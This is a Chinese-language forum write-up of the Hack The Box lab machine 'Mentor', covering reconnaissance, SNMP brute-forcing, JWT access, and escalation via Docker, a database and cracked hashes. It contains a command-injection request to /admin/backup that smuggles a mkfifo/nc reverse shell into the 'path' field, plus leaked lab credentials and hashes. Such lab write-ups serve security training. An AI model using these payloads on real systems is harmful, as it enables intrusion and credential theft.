-
-
[原创]HTB Mentor (MEDIUM)
-
发表于: 2023-1-10 23:28
-
参考链接:
244K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0k6h3!0%4L8h3g2G2N6$3q4@1N6r3q4U0K9#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3K9s2c8T1i4K6u0r3L8h3g2F1N6r3!0J5i4K6u0r3
034K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5H3P5r3c8W2k6r3W2F1k6X3!0K6k6h3y4Q4x3X3g2$3k6i4u0U0k6h3I4Q4x3X3g2S2M7s2m8Q4x3V1k6T1L8r3!0Y4i4K6u0r3K9r3q4U0K9%4c8Z5k6h3u0G2P5q4)9J5k6r3#2W2L8Y4c8G2M7W2)9J5k6s2N6J5K9i4c8W2N6i4l9`.
9ebK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0k6h3c8A6N6h3#2Q4x3X3g2U0L8$3#2Q4x3V1k6Q4y4o6m8k6e0g2c8*7K9h3!0F1K9g2)9J5c8X3S2@1j5W2)9J5k6s2N6J5K9i4c8W2i4K6u0V1N6i4m8Q4x3X3c8E0k6h3&6@1L8%4u0Q4x3X3c8V1x3o6l9#2y4o6c8V1k6o6M7&6j5K6f1`.
上来还是先扫端口
开放了22和80，再扫一下
开启了snmp服务
扫子域名
发现状态全是302，过滤302，-fw 18过滤也行
200什么都没找到
发现子域api
在扫一下子域的目录
8fcK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4H3K9g2)9J5k6h3#2W2L8Y4c8G2M7Y4q4#2L8%4c8W2M7#2)9J5k6h3S2@1j5W2)9J5c8X3q4V1L8h3W2F1i4K6u0r3 的访问需要授权
d55K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4H3K9g2)9J5k6h3#2W2L8Y4c8G2M7Y4q4#2L8%4c8W2M7#2)9J5k6h3S2@1j5W2)9J5c8X3c8G2j5%4y4Q4c8e0W2Q4z5o6N6Q4z5p5y4Q4c8e0k6Q4z5o6W2Q4b7V1g2Q4c8e0g2Q4z5o6S2Q4b7U0m8B7j5h3#2W2M7#2!0q4y4#2)9&6b7g2)9^5y4q4!0q4z5g2)9^5x3W2!0m8c8g2!0q4y4#2!0m8c8g2!0n7x3h3A6S2L8h3g2K6i4K6b7H3L8h3g2F1N6r3!0J5M7i4g2G2N6r3g2K6i4K6u0W2K9s2c8T1
还可以知道站点使用的Swagger
JWT token（JSON Web Token）
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InN0cmluZyIsImVtYWlsIjoidXNlckBleGFtcGxlLmNvbSJ9.RPFh7ue64oOZBnyDFY0T7yFau51EHj0drU7cjWHDdyY"
只能admin可以访问
我们尝试用james的用户和邮箱去申请
会显示该用户已存在，尝试用户名为james，邮箱不一样
通过注册用户名为james来获得james JWT TOKEN的方法失败，一直打不通，如果有会的师傅求带
前面可以看到开启了snmp服务，使用snmpbrute用来实施 SNMP 服务暴力破解。1fcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0c8f1y4r3e0#2u0o6c8g2)9J5c8W2y4z5e0g2m8Q4x3X3c8n7M7Y4g2@1k6b7`.`.
发现了两个名为“Internal”和“Public”的SNMP社区。
使用snmpwalk来检索信息
snmpwalk -c [社区名称] -v [版本] [IP]
"/usr/local/bin/login.py kj23sadkj123as0-d213"
我们将它作为james的密码尝试一下
james@mentorquotes.htb
james
kj23sadkj123as0-d213
获得james JWT token
成功访问，再去admin看看有什么
发现/check和/backup，进去看看
check还没实现
backup不允许使用GET方式，使用POST
path 存在命令执行
写一个反弹shell
连上后执行不了命令 ，很奇怪，网的问题？
上传一个，这样就可以执行命令了
好消息 root 坏消息 docker
进行信息收集
db.py里有关于PostgreSQL 数据库的信息
用户名：密码@ip
postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
使用chisel进行内网穿透f5bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6*7K9s2g2S2L8X3I4S2L8W2)9J5k6i4A6Z5K9h3S2#2i4K6u0W2j5$3!0E0i4K6u0r3M7q4)9J5c8U0x3$3x3o6p5@1z5e0V1&6x3b7`.`.
120K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6B7M7r3W2D9L8r3!0J5j5g2)9J5c8X3y4Z5K9i4y4W2L8l9`.`.
chisel_1.7.7_linux_386.gz 可用
尝试去破解svc的密码
53f22d0dfa10dce7e29cd31f4f953fd8
807K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0M7X3q4U0K9%4y4@1j5i4c8A6L8$3&6Q4x3X3g2F1k6i4c8Q4x3V1j5`.
123meunomeeivani
0840b6b9240dbc68acc9c0d320dc029a
svc不能执行sudo命令
使用linpeas进行信息收集
cat /etc/snmp/snmpd.conf
createUser bootstrap MD5 SuperSecurePassword123__ DES
/bin/sh SUID漏洞是一种权限提升漏洞，当/bin/sh可执行文件设置了setuid位，允许在文件所有者（通常为root）的权限下运行时，会发生这种漏洞。本地攻击者可利用此漏洞获取系统上的root权限。
为防止此漏洞，应从/bin/sh可执行文件中删除setuid位，或将可执行文件替换为未设置setuid的版本
rustscan 10.10.11.193
rustscan 10.10.11.193
nmap -sS -sU -T4 -A -v 10.10.11.193
nmap -sS -sU -T4 -A -v 10.10.11.193
ffuf -w wordlist/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://mentorquotes.htb -H "Host:FUZZ.mentorquotes.htb" -fs 169
ffuf -w wordlist/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://mentorquotes.htb -H "Host:FUZZ.mentorquotes.htb" -fs 169
ffuf -w wordlist/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://mentorquotes.htb -H "Host:FUZZ.mentorquotes.htb" -fs 169 -mc 200,204,301,307,401,403,404,405,500
ffuf -w wordlist/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://mentorquotes.htb -H "Host:FUZZ.mentorquotes.htb" -fs 169 -mc 200,204,301,307,401,403,404,405,500
dirsearch -u http://api.mentorquotes.htb/
dirsearch -u http://api.mentorquotes.htb/
snmpwalk -c internal -v2c 10.10.11.193 > snmp.txt
snmpwalk -c internal -v2c 10.10.11.193 > snmp.txt
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f
POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htbUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: closeUpgrade-Insecure-Requests: 1
content-type: application/json
Content-Length: 125
{"body":"HTB-POC",
"path":"/etc/passwd;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.11 9001 >/tmp/f1;"
}POST /admin/backup HTTP/1.1
Host: api.mentorquotes.htbUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
|
|
|---|---|
|
|
|
